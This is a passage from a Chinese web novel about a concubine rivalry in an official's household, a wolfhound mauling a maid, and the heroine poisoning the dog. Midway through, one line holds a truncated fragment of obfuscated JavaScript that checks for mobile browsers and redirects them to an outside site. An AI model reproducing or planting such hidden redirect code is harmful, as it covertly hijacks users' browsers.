若非要寻求刺激,还不如去找贤妃。未入宫前就被他勾得茶饭不思,入宫后比未嫁前念得更厉害。 “你可别真的死在温柔乡里。”赵青林提醒他:“义父还盯着你我,别教他知道。” 同为闫慈的义子,两人的关系实则并没有那么水火不容,也不是相安无事的面上交情。 甚至两人更早认识。 细说起来,陆青檐算他的半个主子,毕竟从他做宋庸的时候开始,赵青林就是宋家的下人。 若非遵照陆青檐的吩咐,投入闫尚书的门下,赵青林现在应是和邓显一样的身份。 他们的关系自然对闫尚书隐瞒。 同为尚书义子,比起兄友弟恭,自相残杀更能教闫尚书安心。 如同训狗一般,主人只希望狗对人忠心,而不希望狗与狗之间的感情更好,否则会被狗咬。 这样的道理,赵青林最初不明白,还是陆青檐说给他听的。 赵青林走时说:“我要去江南一趟,两三日回来。” 陆青檐含糊着应了一声,不知是听清楚了没有。 . 紫珠给姜昙通头发,再梳几下,就该吹熄烛火安寝了。 正是这时,门外传来一阵动静。 女子的笑声。 府里规矩森严,无人敢在深夜吵闹,这女子不是府里的。 那笑声由远及近,细听是在哼着戏词,然而脚下不稳,气息断断续续地不连贯,故而听着像是在笑。 喝醉的女人。 哼声一停,女子娇俏地笑:“公子,我们今晚睡哪?这个院子吗?” 房内,紫珠蓦地看向妆台边,姜昙只静静坐着。 陆青檐轻笑一声,懒洋洋地说:“没长眼吗?这里已经有人住了。” “公子真会说笑。”女子又说:“那我们去个清静的地方,免得有人打扰。” 说笑声远去。 门被掀开半扇,双双钻了进来,眼神躲闪:“夫人恕罪,方才是长公子经过,现下安静了。” 话音刚落,一道女子的笑声隐隐响起,他们撞开了隔壁的门,约莫是要在那里睡。 那女子不愧是唱戏曲的,调子高高地扬起,能穿透厚重的墙壁。 姜昙躺去床上,提醒神色各异的两人:“该睡了。” 这一晚睡得不是很好。 本来是紫珠守夜,不知为何双双也留下来,两个人各自有心事,尽管动作极小,也是翻来覆去许久才睡去。 姜昙更是做了一夜的梦,梦中有一只傲立的公鸡,在墙头高高地扯着嗓子。 一觉醒来,果然有一道拖长的声音。 紫珠捂着耳朵从门外进来,皱眉说:“那个女人学戏出身,一晚上不消停,今早又吊嗓子。还让不让人睡觉了?” 说着,她将水盆放下,捋着袖子就要去隔壁算账。 开门却见双双进来,她已经去找过了:“夫人,管家的意思她是长公子新纳的,虽还未正式置办,可恐怕八九不离十了。” 双双苦着脸,紫珠听完面上怔怔,看着姜昙等她的回应。 想了许久,姜昙也不知道自己该以什么身份,如何处理这件事。 姜昙说:“既然是府上的事,就让管家去办。陆长公子自有主意,他若没有阻止,就是默许。” 说到底,这是陆青檐的府上,他带什么人回来,都是他的自由,她无权干涉。 只是那女子实在有些吵,姜昙简单用过早饭,便去园子里躲着。 园子偏僻且清静,只听得见风吹过的声音。 姜昙手中的荷包封口,已做成一个小巧玲珑的香囊。做好一个,她继续缝制第二个,要多准备几个以防万一。 “姑娘,枝上有一只雀儿!” “雀儿掉下来了!” 姜昙方抬头,紫珠已跑了过来,掌心朝上拢着,跑到近前摊开,露出一只毛茸茸的黄雀。 黑豆般的眼睛惊恐地转来转去,雀儿扑动翅膀,却飞不起来。振开的翅膀扬起,露出一点殷红的血迹。 原来是受伤了。 姜昙看它实在可怜,对紫珠说:“拿药箱来。” 紫珠哎了一声往回跑,最后两手空空地回来。 姜昙怔然半晌,才想起来自己先前的药箱早已被丢入江水中了。陆府的下人看得紧,委婉地表示不许她买药,她自然也没有药箱。 姜昙于是说:“算了,不包扎也无事,先养着,待伤好再放走。” 双双说:“奴婢去寻笼子和吃食。” 姜昙继续忙活手上的香囊。 紫珠轻轻摸了一把黄雀的脑袋,却没有安抚到这只害怕的鸟儿,更加剧烈地扑腾。 紫珠叹息:“哎,你这小家伙,外面这么冷,你出去要冻死的。待在这里多少,有吃有喝,不好么?” 拱门处传来一阵吵闹声: “我打的鸟呢?掉到哪儿去了?” 这声音很有辨别性,是早上吊嗓子的女子,问话时语调高高地提起来,唱曲一样。 姜昙默然片刻,招呼紫珠要离开。 拱门那边已提裙跑过来一个少女,看着十六七岁的模样,一身红艳艳的衣服,头上挂着叮铃咣当的金饰。 眉眼稚嫩,面上却透露出一股和年龄不符的市侩。 “呦,这是姐姐吧?”少女扭着腰肢盈盈一拜:“见过姐姐,奴叫柔娘。” 姜昙点头:“我还有事,先走一步。” 柔娘拦住姜昙的去路:“姐姐要走,妹妹不敢拦。可那只鸟儿是我的,辛辛苦苦忙了一早上才打到的,姐姐还给我吧。” 说话的同时,柔娘的眼珠子不安分地转来转去,从头到脚将姜昙和紫珠打量了个遍。 随即往旁边一撇嘴,和她身边的婢女露出一个心照不宣的鄙夷笑容。 紫珠在姜昙耳边警惕地说:“姑娘,她们手上拿着匕首。” 柔娘并不避讳:“奴是武陵人,家乡那边最会料理黄雀肉,做好了给姐姐送来尝尝。” 紫珠央求:“姑娘……” 姜昙想了想说:“夫人许是认错了,这只黄雀是我们去集市买的,并非你打的那一只。我方才看到你那只黄雀往那边的林子飞了,夫人不若再去找找?” 柔娘怀疑地看着姜昙。 她身后的婢女忽然叉腰嚷嚷:“我都瞧见了,那是咱们的雀儿,翅膀上有我画的记号!” 姜昙听的蹙眉:“你们既然打算吃黄雀肉,为何买来又将它放飞?” 岂不是多此一举。 柔娘闻言,十分得意地解释:“买来的黄雀经小贩圈养,浑身的肉又肥又软,让它在死前飞一飞,肉质会更紧实有嚼劲。” 说着,柔娘忽然露出一个炫耀的笑意:“而且有人跟我说,捕捉圈笼里的死物没意思。不若趁它飞走时打下来,这样才好玩。” 不用想也知道是谁说的。 姜昙手指攥得发白。 . 陆青檐来时,柔娘和那婢女一个哭,一个告状,委委屈屈地扑在他腿边。 他听她们说着来龙去脉,要求如何如何惩处那个藏着鸟儿不肯归还的婢女,不仅如此,那婢女竟还敢出言冒犯主子。 柔娘一边抹泪一边问:“公子接我入府,您说奴算不算府里的半个主子?” 陆青檐并未表示意见,而是抬眼看姜昙:“夫人怎么说?” 姜昙并未应声。 陆青檐紧盯着姜昙,一边斥柔娘:“一只黄雀而已,夫人喜欢就给她,你再去买一只不就好了?” 柔娘撅嘴:“夫人也得讲道理,奴就是喜欢她手里那只。” 陆青檐不由笑了笑。 柔娘因此底气更足,对姜昙说:“夫人总不能仗着来的时间久,就欺负奴一个弱女子。看着夫人二十余岁的模样,比公子还大几岁吧?听说年长的女人更体贴男人,姐姐能对公子体贴,不如也体贴体贴妹妹?若是奴伤心,公子也会心疼呢……” “给她。” 柔娘正滔滔不绝讲道理,忽然听到这么一声。 不等她反应过来,原本不舍得的紫珠,已捧着那雀儿送至她的婢女手上。 动作十分干脆利落。 姜昙远远朝这边一礼,又朝柔娘点了点头,便转身走了。 听说到新府上要先拜见女主人,她登门拜访却吃了个闭门羹,特意寻着园子里来找她。 没想她那些争宠的手段还未使全呢,这夫人就不战而退了。 说这夫人不知礼数,她偏生走前对自己也点了点头。可说她知礼数,怎么公子在这,她就先走了。 连一个字都没说。 不过说起来,公子还是更中意她呢,毕竟刚入府,新鲜劲儿还没过。 柔娘娇声道:“长公子,你看夫人怎么那样,太无礼了。” 陆青檐低头,面上并无笑意。 方才夫人还在的时候,他分明还笑着的,一下子就变脸了。 柔娘有些畏惧:“长公子,你怎么了?” 下一刻,陆青檐又笑了,那笑容有些奇怪,可终究是惑人的。 柔娘摇摇陆青檐的衣袖,别有深意地说:“黄雀肉好吃极了,公子可要去柔娘房里……好好尝尝?” 昨夜他可连屋门都没进,再这样下去,柔娘可要使些戏园子里的手段了。 陆青檐却问她:“你会看骨相?” 柔娘情不自禁软了身子:“以前跑江湖,学过一点。” 陆青檐凑近,似笑非笑:“那你仔细看看,我究竟几岁,和夫人是否般配呢?” 柔娘终于从他话中品出了一股不同寻常的味道,不敢吭声。 “算了。” 陆青檐神色回复如常,抬手摸了摸笼中的黄雀,看着它在手心挣扎,忽而用力掐死了它。 “这有什么好吃的。” 陆青檐接过下人递过来的巾帕,仔细擦了擦手,对地上吓得怔然的柔娘说:“待会儿让管家带你去库房挑几件首饰。” 这是杀死她黄雀的补偿。 想到金银珠宝,柔娘又高兴起来,抱着陆青檐的腿连连谢恩。 陆青檐对这暗示性的动作视而不见。 将帕子丢在盆中,激起的水珠溅花了柔娘面上的脂粉。 “退下。” 园子里是一个清净之地,姜昙最近经常喜欢在那坐着。 那处的院墙很矮,一个成年人双手一撑就能翻过去。坐在亭子里,能看到墙那边探过来的杏花枝,只是临近冬日,花枝光秃秃的。 隔壁的院子也是陆青檐的,不过似乎没有人住,不知院墙那头的院子,院墙是不是比这里更高。 “姑娘,她们又来了。” 紫珠回来说出这句话,姜昙没有丝毫犹豫,转身就要离开。 不多时,双双从后面急匆匆地跟上来,语速比步子更急:“本想求见邓先生,可邓先生和长公子出门去了,不见人影。于是奴婢只好去见郑管家,管家说……” 双双说不下去了。 长公子近来颇为风流,一个又一个女人往府里带。 那个叫柔娘的女人只是个开始,她仅风光了两日就没了动静,双双以为长公子厌了她,总算是消停了。 可是第二日,又一个女人进府了,第三日,又是一个新面孔…… 不知到了第几日,府里已新进了七个女人,据管家说,第八位的轿子已在路上了,午后就入府里来。 往日空旷的陆府,如今可真是热闹得很,连偏僻的园子都能听见女子的娇笑声。 环肥燕瘦各种都有,长公子的心变得真快,一天一个模样。 双双斜觑着姜昙的脸色。 夫人向来宽容,不与那些女人计较什么,甚至是避着她们走。她们往荷池边转,夫人就去亭子。她们占了亭子,夫人就去园子里。 如今她们来了园子里,夫人只剩寝院后面一间小院可待了。 果不其然,姜昙听见她的话,没有任何不适的情绪,就往那间小院躲。 却还是晚了一步,刚绕过假山石,就让几个女人堵住。 “你是谁?” 她们甚至不认识姜昙。 柔娘也在几人之列,虽入府最早,却和众人一起,簇拥着一个打扮英气的女子。 姜昙一看,便知她们已分出了高下,朝为首的英气女子说:“一个不足挂齿之人。” 说着,姜昙要从她们身边过去。 忽然有人指着姜昙,惊讶地说:“月娘,她同你长得好像。” 月娘抱臂看了看姜昙,果真同自己长得很像。她沉思片刻,忽然笑着叫住姜昙:“哎,娘子住在哪个地方,我得空去找你玩。” 姜昙已走出几步之外。 身后柔娘对月娘说:“人家可跟我们不一样,她是长公子第一个带进府的。” “那不就是夫人?” “有名无实,公子早已弃了她,许久不见她了。” “如今月娘你才是夫人,公子近来动不动就带你出去,听说午后还要去骑马?” “哪有的事。” “……” 回到小院,姜昙有了兴致,忽然叫双双准备纸笔,开始画画。 她画的是枯枝,走向似有规律,乍一看很熟悉,可看的久了,枝杈密密地伸出来,那股熟悉的感觉又没有了。 “别站在这里,又看不懂。”紫珠拉走双双:“别打扰姑娘画画,我们去弄些蔻丹来 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两人顶着一张花猫脸面面相觑,几乎只有眼珠子是干净的。 姜昙压不住嘴角的笑意,由衷地开心起来。 看着两人打闹,彼此的脸上越抹越黑,姜昙悠悠地说:“听说这墨尤其显色,一旦风干,十天半月都洗不掉。” 双双愣了一下,连忙朝外面跑去。外面有水,可不能让紫珠抢了先。 紫珠轻哼一声:“姑娘,你一定是骗她的,对不对?” 姜昙笑着摇头。 紫珠神色凝滞,下一刻摊开袖子用力擦着自己的脸:“怎么办啊,不能见人了——” 一旁放着木盆,盆中有清水,这两人竟都没有注意。 姜昙无奈地笑,用帕子沾了水,轻轻在紫珠的额头上擦拭着。 院外门口,树枝之后。 陆青檐静静站着,一手压低树枝,窥伺里面正在笑着的人。 他站了片刻,脚下忍不住往前走了一步。 “长公子!” 双双顶着满脸黑墨,硬着头皮挡在他身前:“夫人夜里……还是睡不安稳。” 陆青檐看了双双一眼,许久后退回步子,转身离去。 待不见他的背影,双双才松了一口气,背后竟生出了冷汗。 她抽了抽鼻子,闻到一股馨香。 陆青檐停留过的地方,萦绕着甜丝丝的女儿香,和月娘身上的一模一样。 方才长公子身上还穿着未脱下的骑装,想来是刚和月娘骑马回来,还未来得及换衣服。 看来她们说的是真的,月娘在长公子面前极为得脸。 . 回到屋子,姜昙发现一个厚重的箱子,郑管家等候已久:“夫人可算回来了。” 箱子打开,是在灯下泛着光的绫罗。管家让婢女把绫罗抖开,姜昙这才发现那不是绫罗,而是绣着金丝编织成的帐幔。 郑管家说:“赵公子从江南带回来的金丝帐,价值连城。一送进门,长公子让咱们给夫人拿过来。这上面一根一根都是金线,小人都不敢沾呢。” 婢女们手上皆裹着丝娟,小心翼翼地捧着金丝帐。 姜昙淡淡扫了一眼:“我不要,拿走吧。” 郑管家笑着追过来:“长公子亲口吩咐的,放着不用也是生灰,反倒糟蹋了好东西。” 姜昙顿了顿,心说随便哪去给陆青檐哪个得宠的夫人用。 郑管家截住她的话:“其余娘子都有了。” 这终归是陆青檐的府里,他爱挂在哪个屋子都去都随意。 姜昙就不再说话了。 郑管家打量着她的神色,迅速招呼婢女将金丝帐挂在榻上,趁姜昙还没反悔之前。 金色的丝线在昏黄的灯光下闪着光,犹如晴日生起波澜的水面。 入睡时姜昙躺在帐子里翻来覆去,最终还是起身,睡到了窗边的美人榻上。 除了金丝帐,赵青林还从江南带回来几箱珍宝,大半抬到了陆青檐这里。 箱子都掀开时,映得屋子里金碧辉煌。 传闻江南一带的官员富得流油,然而孝敬上来的东西却不太让人满意,除了那顶金丝帐尚可入眼,其余不过尔尔。 陆青檐随手拿起最上面的一枚玉镯,放在灯下细看了一会儿,最终失去兴趣,咚地一声丢在一边。 “收起来。” 护卫们依照吩咐,合力将箱子抬到库房。 陆青檐在书案前坐下来,提笔在纸上勾勒着人脸,容貌描好,落到发上的饰物,脑子里竟一片空白。 翡翠,玛瑙,宝石……好像都不对。 最终他打开锦盒,取出里面的木簪。 这才对。 看着易折,却十分锋利。 陆青檐仔细勾画着。 月娘扶着头顶华贵的珠宝髻,款款行至书案前,向陆青檐恭敬一礼:“长公子,您瞧月娘好看吗?” 陆青檐头也不抬:“谁许你进来的?” 月娘半点也不怕:“长公子没说不许我进来,刘护卫也不曾拦我,容我进来这么多次。难道不是长公子刻意纵容吗?” 陆青檐未说话,吹了吹未干的墨迹。 月娘凑过来一瞧,笑说:“还说不是刻意纵容,你这不是正在想我吗?” 画上之人,与月娘有七八分相似。 月娘一下子想到在园子里见过的那个女人,或许长公子在画她,可是陆青檐眼下并未否认,那么强认作是自己有何妨? 她大胆地点了点画中人的头上饰物:“这儿画错了,月娘喜欢珍珠,就如我头上这珠宝髻一样。” 说完她亦有几分忐忑。 其余姐妹捧她受宠,可是细想之下就知道,园子里那个女人比她来的早,谁长得像谁,还不一定。 硬要比一比在长公子心中的份量,未必是她赢。 好在月娘赌赢了。 陆青檐看了她一会儿,竟真的下笔,照着她的模样,将画改了改。 改完,陆青檐问:“还要什么?” 月娘的身体颤抖起来,因为这份偏爱而心情激荡,连说话声也在抖: “初遇那晚长公子说孤枕难眠,今夜月娘想陪你。” 月娘轻轻地靠在他的臂上,并不敢做出格的动作。 陆青檐越过她,看向桌上的画像。 好像十分熟悉,又好像十分陌生。 他忽然将纸张揉皱,有一瞬间甚至想撕了它,最终却将那张纸小心地铺开。 70. 第 70 章(补) 不知是第几个早晨,姜昙从睡梦中被惊醒。 夜里她总是难以入眠,直到将近天明才能睡一会儿,因此早上气得稍晚。 然而近些时日,早上她也无法安睡了。 外面传来马蹄声和嘶鸣声。 姜昙从榻上起身。 正巧紫珠从门外进来,小声抱怨说:“马场那么大,非得从咱们门前过,这是故意不让姑娘睡觉呢!” 姜昙推开窗户。 院门处一闪而过骑马的影子,乍一看像是个男人,然而仔细看了一会儿才发现,那只是个身穿男人衣服的女人。 月娘,那个英姿飒爽的女子。 听说她原本不会骑马,跟着陆青檐学了半日就能自己上马,不过两日就能驰骋马场,连驯马的小厮都追不上她。 这么早就出来练习,不可谓不勤奋。 在飞腾的马屁之后,还追着一只黑犬。 双双给姜昙梳着头发,一边说:“那是长公子养的狼犬,就连送生肉的下人也只敢远远地扔在笼子口,扔完就跑。除了长公子和身边几人,狼犬谁都不认。可月娘竟什么都不怕,第一次见,那狼犬就服帖地卧在她脚下,如今竟跟着她一起玩耍了。” 说起这事时,她小心地看了姜昙一眼。 府里规矩森严,可并不是没有人嚼舌根。 只要不捅到长公子面前去,背地里的热议比别家府里更厉害。长公子是家里的主人,能让他高兴的人众人都捧着,让他冷落之人众人都想踩一脚。 然而下人们背地里只敢说,却不敢做什么,尤其是管家前些日子送了金丝帐过来,这就表示,长公子心里仍有夫人。 只是府里那么多娘子那里,每人同时都送了一顶珠宝髻过去。这样看来,好像又没有特别优待。 且月娘从入府那日起,几乎与长公子同进同出,仿佛更像陆府女主人。而姜昙一避再避,深入简出地静养,比客人更像客人。 双双在心里算了算日子,自长公子和夫人分开那夜起,已过去一月有余了。 也不知上次拦住长公子,是对还是错。 说话间,那匹马又走了一个来回。 马后的狼犬却忽然停下,鼻子抽动,朝某个地方看了片刻,像是盯上了什么目标。 接着,那狼犬伏低了身体,猛地向前一扑。 与此同时,院外响起一阵惨叫。 “紫珠!” 双双拖住姜昙的衣袖:“夫人不能去!那狼犬不认得你,让人去请邓先生和刘护卫来吧!” 姜昙脱手握住一把利刃,挥手间割断袖子,不管不顾地冲了出去。 只剩双双抱住断掉的衣袖,瘫坐在地上—— 那是削果子的薄刀! 刚入府时邓先生和管家就特意交代过,不能让夫人接触任何锋利之物,尤其是长公子在的时候,连一根金簪都不敢用。 明里暗里她带着几个婢女也搜过许多次,在长公子留宿时更加小心谨慎,连紫珠都刻意被拦着不让她与夫人有接触的机会。 双双大胆猜测过这么做的缘由,许是夫人曾刺伤过公子。于是她几乎寸步不离地跟着夫人,但—— 夫人究竟是什么时候藏的? . 下人们都远远地躲着。 面前那半人高的狼犬嗬嗤嗬嗤吐着舌头,沉重的呼吸声逐渐靠近。狼犬的眼珠紧盯着自己,属于野兽的凶性扑面而来。 紫珠小时生在山中,无意间与野兽对视一眼,她就知道这狼犬野性未除。方才只是轻轻一扑,就在手臂上留下三条血痕。若狼犬尽了全力,轻易就能咬掉自己的一条胳膊。 她看了看身后的高墙,确定自己怎么也无法翻过去,绝望地闭眼,瑟瑟蜷缩在墙根。 眼前忽然落下一片阴影。 紫珠睁开眼看到姜昙,先是一喜,随后焦急地说:“姑娘快让开,这狼犬盯的是我!” 姜昙屹然不动。 狼犬转着脑袋,缓缓伏低了身体,这是转而盯上自己的意思。 若它是单纯的山间野兽,或许会害怕周围这么多人,还有被恐吓后逃跑的可能。然而它是这宅子里自小饲养的兽类,每日喂着生肉凶性未除,甚至长久和人相处通了人性,知道下人们都怕它,故而无法无天地扑人。 这只狼犬比山间野兽还麻烦。 姜昙脚下一动,向一旁踢了一颗石子。 狼犬被动静吸引过去。 姜昙慢慢向后面挪动步子,去扶紫珠起来。 然而此时一声如唱戏般的尖叫响起,柔娘指着她们:“月娘子,快看!” 狼犬被尖叫声惊动,回头看到姜昙移动身体,得知自己被骗,示威般露出尖牙。 姜昙忍不住瞪了柔娘一般。 后者讪讪躲在月娘背后。 月娘终于发现身后的不对,策马过来,向狼犬唤道:“乌雪,回来!” 姜昙略松了口气。 双双说狼犬服帖地跪在月娘脚下,那么就是听她的话。 然而听得这声唤,狼犬并未有反应,反而更加伏低了身体,紧盯着姜昙向前挪动爪子。 狼犬竟不听月娘的话! 姜昙浑身再次紧绷起来,握着薄刀的手指用力,被锋利的断口割出血来。 啪嗒。 血珠在地上砸成花。 狼犬的鼻子动了动,似是因为闻到血腥气,它加快速度变得更兴奋,猛然扑了过来! “乌雪!” 狼犬的耳朵竖起来,朝后看去,认出了熟人,调转方向朝出声之人跃去。 邓显摸着狼犬的脑袋,手掌背向身后,管家悄然地上一根圈绳。 趁狼犬眯眼时,邓显眼疾手快将圈绳套在狼犬的脖颈上,狼犬瞬间睁眼,挣扎着要退开。几个小厮此时一拥而上,将狼犬按在地上,并将嘴笼给狼犬套上。 那狼犬还在地上翻腾,几个小厮险些按不住它。 邓显在狼犬脑袋上拍了拍:“犬大人,长公子不在这,你最好乖些,我可不像他。” 这下它总算安分,乖乖地被小厮扯着离开,离去前直勾勾地盯着姜昙。 姜昙将墙根的紫珠扶起来,擦干她脸上的泪水,撕开裙角给她包扎手臂。包好后又仔细查看她浑身上下:“还有哪里伤到了?” 紫珠哭着摇头。 月娘下马,柔娘跟在她身后,面露不安。 方才可真是惊险,邓显连声叹气,看向她:“月娘子,这是怎么回事?” 月娘不是故意的。 她本意只是来炫耀,让所有女人看一看自己飞扬的神采。 而且长公子的居所就在这附近,只要他下朝回来,就能看到马背上英姿飒爽的自己。 “长公子喜欢看我骑马,也同意我在府里闲逛。”月娘并未觉得抱歉:“乌雪被关了那么久觉得闷,也想与我一同转转,有错吗?” 她扬起下巴:“这也是长公子同意的。” 邓显有些头疼。 这些时日,长公子确实纵月娘纵得厉害,许她擅自进书房,哪怕里面正在议事,说着朝中秘辛,也许她在一旁听着。 种种举动,几乎是在践踏长公子的底线。然而长公子任由其放肆,纵她纵得十分厉害。 若是在以前,有人敢这么做,邓显可以肯定地告诉他,你想要哪种死法? 可是眼下,邓显却不确定了。 月娘看着他们,冷哼一声,翻身又要上马去。柔娘忐忑地将几人看了又看,也要跟着离开。 然而刚踏上一只脚,却被人揪住胳膊生生拽下来。 月娘疼得尖叫,摔在地上。 仰头看去,是那个所谓的夫人。 这么久了,也没听说夫人有多么厉害。柔娘跟她说过,夫人连一只黄雀也护不住,对峙时长公子没有替她说过一句话。 这样的女人被娶进来真是可悲,在府里毫无存在感,连在她住处附近纵马也不敢吭声。 长公子分明知道却未阻止,就是默许欺负她的行为。 这说明他也不怎么重视这个夫人,即使两人有过恩爱,那也是从前的事了。 “你敢摔我?” 月娘梗着脖子:“你知道冒犯我的下人都是什么下场吗?” 她正要站起来去拿马鞭,眼前这个柔弱的夫人却将她按在地上,膝盖牢牢压在她的肩上,教她动弹不得。 月娘的下巴被掐着抵在一边,她看到夫人冷眼看着自己,厉声说:“道歉!” 她竟敢把自己的脸按在地上,不远处就是臭烘烘的马粪! “放开我!” 月娘挣扎着,双手却被姜昙用马鞭绑了起来。她缚人的手法熟练而奇怪,月娘感觉自己像个人犯。 “放开,放开!” 看到愣怔的柔娘和下人们,月娘大叫着:“快来帮我,把这个野女人抓起来!敢这么对待我,等长公子回来扒了你们的皮!” 听到她的话,下人们想起长公子的狠辣手段,犹豫着要上手。 目瞪口呆的邓显终于回过味来,冷飕飕看了下人们一眼,登时没人敢动了。 险些忘了,这位夫人进府的时候也很不一般,只是由于性子沉静,不常出门罢了。 若是嚣张起来,指不定到什么程度呢。 姜昙捏着月娘的下巴,迫使两人对视。 看着对方不服气的眼神,她拍拍月娘的脸:“依照大昭律法,故意伤人者,需付出同样的代价。要我在你的脸上也划一道吗?” “不要,不要……” 月娘连连摇头。 姜昙一字一顿地强调:“那就道歉。” 说着,她把月娘拉起来,推倒在紫珠面前:“说对不起。” 进府以来,月娘从未受过这么大的委屈,竟然要给一个婢女道歉? 何况这婢女不是没事吗? 月娘咬牙,眼中忍着泪珠,张了张口。 这时,马蹄声哒哒而来。 “怎么弄成这样?” 陆青檐一身官服还未脱下,正勒马看过来。 月娘一看见陆青檐,眼泪再也忍不住,簌簌落下。 “长公子——” 她哭着就要过去,身后却有一股力道扯着她回去。 姜昙不依不饶地捏着她的下巴,迫使她面对受伤的那个婢女: “道歉!” 月娘心中十分委屈。 她此刻忽然感激旧夫人的野蛮无礼,感谢夫人一直这么可恶,能让长公子看到夫人的真面目,这样就会更加心疼自己。 果然,陆青檐出言阻止夫人的恶行:“姜昙,放手。” 姜昙置若无罔,只固执地要月娘低头道歉。 然而先前的威慑已没有用,见到陆青檐,月娘再也没有屈服的想法。 她也不再挣扎,只泪眼朦胧地看着陆青檐。 陆青檐下马走到近前来,看着姜昙说:“放手。” 姜昙与他默然对视片刻。 忽然冷笑一声放手,却被陆青檐抓住手掌:“怎么伤了手?” 姜昙用力甩开,去扶紫珠起来,淡淡说道:“是紫珠的血。” 陆青檐这才看到紫珠的手臂,右臂的袖子被抓烂了,血肉翻开三道口子,露在外面。 看起来十分狰狞不适。 这样的伤口亦很熟悉,是狼犬抓出来的。 陆青檐移开视线,看向邓显:“谁把乌雪放出来的?” 月娘扑在他的臂上:“是我路过兽场,看到乌雪闷的慌,所以就带着乌雪一起出来玩……长公子你先前同意了的。” 陆青檐沉默,他确实没有拒绝。 月娘继续控诉:“本来一切都好好的,是这个婢女突然跑出来,吓到了乌雪,它才抓了她一下,不过性命无忧,而且乌雪也没有要伤害她的意思。然后她、她就……” 月娘泣不成声。 柔娘小声补充说:“然后夫人就将月娘子绑起来,要她道歉,否则就划花月娘的脸。” “没有要伤人的意思?” 姜昙缓缓重复道:“你明知道这是凶兽,还将它带出来到人群处闲逛。带出来之前可有想过,万一这狼犬兽性大发要吃人,将谁喂给它?还有——什么叫才抓了一下?” 姜昙指着紫珠的手臂,冷冷说:“这样的伤口,你可愿意让我在你脸上抓一下?只要抓一下,我们就扯平了。” “这……” 月娘看着陆青檐,十分有底气:“这是长公子亲手养大的狼犬,你的意思是,长公子故意养一头伤人的狼犬吗?” 好熟悉的话。 姜昙哑然失笑:“算了。”她转身牵着紫珠离去:“我们走。” “慢着!你算了,我可没算!” 下人为月娘解开腕上的绳子,她将手摊开,让陆青檐看伤口:“长公子您看,为了一个婢女,夫人竟如此对待我!那婢女只是被抓了一下,夫人就要划我的脸呢!手臂伤了可以好,可我的脸若伤了可是会留疤,往后可怎么见人?” 陆青檐并未说话。 这时,一个小厮急急地跑过来,柔娘最先注意到,那小厮便在她耳边说了句什么。 柔娘脸色一变,连忙喊道:“长公子,乌雪回去之后瘫倒在地,昏迷不醒!” 乌雪在府里的地位等同于陆青檐。纵然知道一条狗听不懂人话,下人们见了它仍叫一声犬大人,无人敢轻易招惹。 若是它兴致来了要吃人,长公子也不会惩罚它,反而嫌人肉脏了它的嘴。 因而乌雪病了可是大事,若是照料的下人出了错,那便要惩罚下人。 然而下人素来知道乌雪的习性,一向喂得康健有力。 刚才乌雪还活蹦乱跳地撒欢,怎么会突然昏迷呢? 柔娘说:“长公子,乌雪方才由下人们牵着还好好的,方才只靠近过夫人。” 月娘指着姜昙:“一定是她做的,方才乌雪就是闻到那婢女身上有什么味道,才被吸引过去。她的身上也有这种味道!” 陆青檐皱眉看着姜昙:“解药在哪?” . 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14328759|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刑堂内。 姜昙漠然站着,一声不吭。 到他身边后,她经常是这副样子,好像不管你说什么、做什么,都不会得到她的任何回应。 让人看着生气。 小厮急匆匆地又跑过来,不知跑了第几趟,每一次都带来更不好的消息。 这一次,显然是十分严重了。 小厮战战兢兢地汇报:“驯兽师说,乌雪时辰不多了。” 若是耗尽时辰,从小养到大的狼犬,生命也走到头了。 陆青檐面色沉下来:“你知道的,我的耐性不好。再问一次,解药在哪?” 姜昙依然不吭声,眼神落在虚空,不知在专注地看什么。 或许是角落里的蚂蚁,或许是蜡烛落在地上的影子,总之不会是他。 她的病症还未好,看多了他的脸,会控制不住地干呕。 怎么想也不会是看他。 陆青檐闭眼,对邓显说:“把人带上来。” 邓显点点头,犹豫着离去。不多时,紫珠被两个护卫拖了上来。 姜昙的脸上终于有了波澜,也终于舍得看他:“紫珠没有错。” 陆青檐说:“若不是她受伤,而是旁的婢女受伤,你会去多管闲事吗?” 姜昙沉默。 陆青檐摊手:“瞧,一切事情的根源是她,如果不是她突然出现,乌雪也不会伤人,你也不会伤了乌雪。所以要处置她。” 刘武亲自取了木杖,立在紫珠身后准备施刑。 紫珠的手臂被包扎过,却在被拖来的过程中渗出血来。 尽管疼得冷汗涔涔,却不肯求饶:“奴婢没事,不要求情,是奴婢错了,姑娘……别求情。” 姜昙眼眶发热。 守着乌雪的小厮又赶来催了一次。 陆青檐说:“第一天入府我就说过,所有下人要叫夫人。” 他面无表情吐出几字:“不守规矩,打。” “住手!” 下人们只制住紫珠的动作,却不敢动姜昙,无奈看着扑在紫珠身上的姜昙,不知该怎么办。 陆青檐站起来,下来揽住姜昙的腰肢,将她从紫珠身上拉开。 姜昙挣不脱。 终于愤愤将袖中东西丢出去:“给你!” 那东西是一株草,正好砸在陆青檐的脸上,从他鼻梁上落下去。 陆青檐被砸得闭眼,闻到一股淡淡的药味。 姜昙果然没那么狠心。 随身带着毒药,同样也带着解药。 小厮得到陆青檐的眼神示意,捡起地上那一株草,连忙送去救乌雪。 下人递来帕子,陆青檐擦了擦脸:“我倒忘了,随便一片草地,你都能从中找出药来。” 姜昙抱着紫珠,护在她身上,生怕他反悔再打她。 她对婢女倒是好得很。 陆青檐挥挥手。 下人们又将紫珠拖下去,姜昙牢牢抱住不放。 邓显没忍住劝了一句:“夫人,紫珠姑娘还伤着,大夫在外面等着看诊呢。” 姜昙松开手,要跟着一起走。 陆青檐拦住她的去路:“慢着,她的事完了,你的事还没完。” 姜昙冷眼看着他。 柔娘从门外进来,对陆青檐行了一礼:“奴看得清清楚楚,乌雪原本只盯着那婢女,后来却盯着夫人,做出攻击的动作。奴方才听驯兽师说起,乌雪只有感受到敌意时才会做出攻击的姿态,忽然想明白乌雪为什么突然那么奇怪。” 她指着姜昙血迹未干的右手,得意地说:“是夫人!她手里藏着刀,乌雪看见以为夫人要杀它,所以才扑人!” 